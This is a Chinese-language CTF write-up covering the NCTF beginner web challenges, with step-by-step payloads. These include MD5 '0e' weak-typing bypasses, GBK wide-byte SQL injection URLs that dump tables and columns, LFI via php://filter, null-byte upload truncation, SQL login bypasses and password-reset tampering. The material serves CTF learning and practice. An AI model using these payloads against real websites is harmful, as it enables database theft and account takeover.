已经决定开始走上了CTF的不归路了,这是第一个练手的CTF,比较适合新手入门学习,有几道题也是看的网上的Writeup,总的来说不是很难吧,重在总结经验和绕过姿势。
这一定是最简单的
直接F12查看源代码:
**flag:nctf{flag_admiaanaaaaaaaaaaa}
**
源码(PHP)
1 | $md51 = md5('QNKCDZO'); |
看源码的意思就是,让我们输入一个id
,这个id
的值不等于QNKCDZO
,但是他们的md5码是相同的。
===比较两个变量的值和类型;
==比较两个变量的值,不比较数据类型。
首先看一下QNKCDZO
的md5码是什么:0e830400451993494058024219903391
。
md5碰撞原理:一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较。PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。例如:123abc转换后应该是123,而abc则为0,0==0这当然是成立的。所以,0 ==’abc’是成立的。当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。
所以,我们只要找到md5加密后以0e
开头的字符串就可以绕过==
的判断了,这里给大家列举了一写:常见的MD5碰撞:md5值为0e开头
与之类似的还有sha1: aaroZmOk aaK1STfY aaO8zKZF aaO8zKZF aa3OFF9m,这几个字符串经过sha1加密后也是
0e
开头。
**flag:nctf{md5_collision_is_easy}
**
提示输入口令。
先把输入框的类型改为text
,可以发现只能输入10个字符,即输入框对输入长度进行了限制。
修改一下最大长度,输入zhimakaimen
即可。
flag:nctf{follow_me_to_exploit}
网页中给了一张图片,并且提示这道题不是Web,可以联想到可能是图片隐写术。直接Download图片,用Notepad++打开。
flag:nctf{photo can also hid3 msg}
使用F12查看源代码,根据题目提示“层层递进”,这道题使用iframe
标签对页面进行嵌套,找到最后一个404.html页面,竟然提示我查看上一个页面。原谅我眼瞎,找了好久,发现隐藏在注释里面。
flag:nctf{this_is_a_fl4g}
javascript aaencode
上网搜一下javascript aaencode
,发现是一种颜文字:
AAencode加密网址: http://utf-8.jp/public/aaencode.html
解密方法:以直接利用浏览器的控制台输入密文,执行后即可解密。
这题可以靠技术也可以靠手速! 老夫单身二十年,自然靠的是手速!
看到一个链接,查看源代码,该链接指向./search_key.php
点击链接,我们却去到了./no_key_is_here_forever.php
这个页面
猜测是302跳转。
使用Burp Suite抓包,查看Sitemap:
**flag:nctf{yougotit_script_now}
**
见到的一个类似编码的shell,请解码
1 |
|
这道题直接拿到本地运行这段代码flag不就出来了-_-
flag:nctf{gzip_base64_hhhhhh}
没错 这就是传说中的LFI
有关文件包含漏洞的利用我在另外一篇博文很详细的介绍了,可以移步于此。
查看index.php页面的源代码:
1 | http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php |
把结果经过base64解码后得到源代码:
1 | <html> |
就可以直接到flag:nctf{edulcni_elif_lacol_si_siht}
与第7题类似
flag: nctf{this_is_302_redirect}
COOKIE就是甜饼的意思~
TIP: 0==not
F12查看request数据包中的cookie字段,发现Login=0
。
用BurpSuit抓包修改cookie
参数Login=1
即可。
flag:nctf{cookie_is_different_from_session}
不能每一题都这么简单嘛 你说是不是?
页面提示Do you know robots.txt?
于是访问http://chinalover.sinaapp.com/web11/robots.txt
返回:
1 | 别太开心,flag不在这,这个文件的用途你看完了? |
应该是让我们输入一个id
,但他的值不等于1024
,但是intval
之后和1024
相等,那么只要知道intval()
函数取整,就很容易了。
payload
1 | http://chinalover.sinaapp.com/web11/sql.php?id=1024.1 |
得到flag:nctf{query_in_mysql}
我最先开始没有注意到还有一个提示:
TIP:sql.php
,导致我在其他路径浪费了很多时间。
根据题目很容易就能想到这是考察宽字节注入,先来稍微的介绍一下什么是宽字节注入。
宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。例如说PHP的编码为 UTF-8
而MySql
的编码设置为了
SET NAMES 'gbk'
或是 SET character_set_client =gbk
,这样配置会引发编码转换从而导致的注入漏洞。具体来说,假如某个网站有宽字节注入,那么我们提交:
1 | http://127.0.0.1/unicodeSqlTest?id=%df%27 |
这时,假如我们现在使用的是addslashes
来过滤,那么就会发生如下的转换过程:
1 | %df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運' |
前端输入%df%27
时首先经过上面addslashes
函数转义变成了%df%5c%27
(%5c是反斜杠\
),之后在数据库查询前因为设置了GBK
编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c
转换成了汉字運
,而单引号就逃逸了出来,从而造成了注入漏洞。
介绍完了宽字节注入的原理,我们再回到这道题目。
首先我们使用宽字节注入来进行绕过,当我们输入%df'
,出现如下报错:
1 | your sql:select id,title from news where id = '1運'' |
发现出现了报错,说明我们的语句已经影响了正常语句的执行了,可以开始注入了。
首先使用order by
判断列数:
1 | http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27%20order%20by%202--+ |
发现只有两列,再查询当前数据库名:
1 | http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+ |
得到sae-chinalover
,接着查询该数据库中的表名:
1 | http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+ |
得到ctf,ctf2,ctf3,ctf4,gbksqli,news
,再查询列名:
1 | http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634--+ |
这里需要把
ctf4
转换为十六进制
得到id, flag
,最后查询数据:
1 | http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,flag from ctf4--+ |
得到flag: nctf{gbk_3sqli}
题目有多种解法,你能想出来几种?
1 | if (isset ($_GET['nctf'])) { |
根据上面的源码提示,要输入数字并且含有#biubiubiu
字符串的nctf参数。
第一种解法:
使用00截断
绕过ereg
函数,但要注意将#
url编码。
1 | http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu |
第二种解法:
第一个不等式中ereg
函数,当传入参数为数组nctf[]
时,NULL != FALSE
,构造成功跳过第一个不等式,第二个不等式中strpos
函数传入参数数组之后 NULL != FLASE
会返回flag。
**flag:nctf{use_00_to_jieduan}
**
依旧是弱类型
来源 hctf
1 | if (isset($_GET['a']) and isset($_GET['b'])) { |
与第二道题md5 collision类似,,只需要找到两个字符串经过md5
加密后,均以0e
开头即可绕过验证。
Payload:?a=QNKCDZO&b=240610708
Flag: nctf{php_is_so_cool}
听说过变量覆盖么?
有关变量覆盖的漏洞利用在我的另外一篇博文有详细介绍,可以移步于此。
直接查看source.php文件的关键代码段:
1 | <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?> |
post数据:pass=1&thepassword_123=1
注意:在页面的输入表单中输入payload无效
这是一个到处都有着伪装的世界
提示我们要本地登录,应该就是要我们用一个伪造本地IP地址访问该页面。BurpSuite导入第三方Python脚本可以
实现伪造IP的功能。
附上Python脚本地址:burpFakeIP
猜猜代码怎么写的
既然要猜代码逻辑,那就先一步一步的尝试咯~
如果不上传任何文件,直接submit:
如果上传php格式文件:
如果上传jpg格式文件:
再使用Burpsuite查看请求包:
尝试在/uploads/
后面加上test.php+空格
:
然后将打开HEX,将test.php
后面空格20
改为00
,构造00
截断:
得到flag:nctf{welcome_to_hacks_world}
听说你也会注入?
关键代码:
1 |
|
常规SQL注入的题目,使用admin登录,闭合')
,截断pw判断:
payload:user=admin')#&pass=1
**flag:nctf{ni_ye_hui_sql?} **
1 | pass=@$_POST['pass']; |
strcmp(array,string)==null==0
,所以POST一个数组对象即可。
payload: pass[]=qaz
flag:nctf{strcmp_is_n0t_3afe}
1 |
|
不能出现1-9
之间的数字,那么我们只能尝试将54975581388
转成16进制
转换后的结果是ccccccccc
,可以使用
payload:?key=0xccccccccc
得到The flag is:nctf{follow_your_dream}
重置管理员账号:admin 的密码
你在点击忘记密码之后 你的邮箱收到了一封重置密码的邮件
观察页面可以发现地址栏的参数经过了Base64编码处理,解码得到ctfuser
。如果要重置admin的密码,我们抓个包将地址栏参数和POST数据修改一下即可:
?user1=%59%57%52%74%61%57%34%3d
user=admin&newpass=1&vcode=1234
flag is:nctf{reset_password_often_have_vuln}
继续注入吧! TIP:反斜杠可以用来转义 仔细查看相关函数的用法
用F12查看源代码:
1 | #GOAL: login as admin,then get the flag; |
sql语句:SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';
观察clean函数中的返回值经过htmlentities()函数过滤,这个字符将字符转换为 HTML 转义字符 ,第二个参数如果没有默认只转换双引号,但参数值为ENT_QUOTES时既转换双引号又转换单引号。
我们最终目标是平衡单引号,可是经过这个函数过滤我们无法输入单引号,只能想怎么消灭原来的单引号。
构造payload:?username=\&password= or 1=1#
使得查询语句如下:
1 | SELECT * FROM users WHERE name='\' AND pass=' or 1%23' |
**flag:nctf{sql_injection_is_interesting} **
打开后发现是一串看不懂的代码,google一下是jsfuck编码,在线解码网站,直接拖到控制台界面执行得到 1bc29b36f623ba82aaf6724fd3b16718.php。
接着打开这个网站得到提示:
根据提示查看http头信息:
history of bash提示我们在Linux系统中有一个.history_bash
文件来记录最近若干条bash命令。 所以尝试打开该目录下这个文件 url:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
,得到新的提示:
在当前目录下访问http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip
得到**flag: nctf{bash_history_means_what} **
注入第二题~~主要考察union查询
关键代码:
1 |
|
strcasecmp(str1, str2):两个字符串相等则返回0
观察一下条件语句 ($query[pw]) && (!strcasecmp($pass, $query[pw]))
mysql_fetch_array() 函数返回的关联数组中键为字段名
构造payload:post一下数据
user=’ union select md(1)#&pass=1
flag: ntcf{union_select_is_wtf}
这道题比较有综合性,我也是看了这篇WriteUp的提示,就做一个知识点的总结吧:
下载提示文件的Python脚本
1 | import requests |
SQL注入时需要正确地找到注入点
SQL注入过滤了空格可以使用/**/
代替
回调函数后门
1 | TIPS: |
查看源代码文件得到管理员邮箱:admin@nuptzj.cn
根据提示,学到一个新知识是非正常关闭vi编辑器时会生成一个.swp文件
查看.index.php.swp和.submit.php.swp文件,能打开.submit.php.swp文件,关键代码如下:
1 | if(!empty($token)&&!empty($emailAddress)){ |
要求token长度为10且token!=0为假,有两种绕过方法,第一种传入token=0000000000绕过,第二种利用弱类型(含有数字内容的字符串也会被转换类型)传入token=0e12345678绕过。
flag:nctf{thanks_to_cumt_bxs}
1 | <!--$file = $_GET['file']; |
file_get_contents() 函数将整个文件读入一个字符串
php伪协议之一:”php://input”可以访问请求的原始数据的只读流,,将post请求中的数据作为PHP代码执行。
变量覆盖,代码审计类题目
1 | <!--foreach($_GET as $key => $value){ |
foreach 遍历数组或对象,它会在每次循环中把当前的键名赋给变量 $key,值赋给变量$value。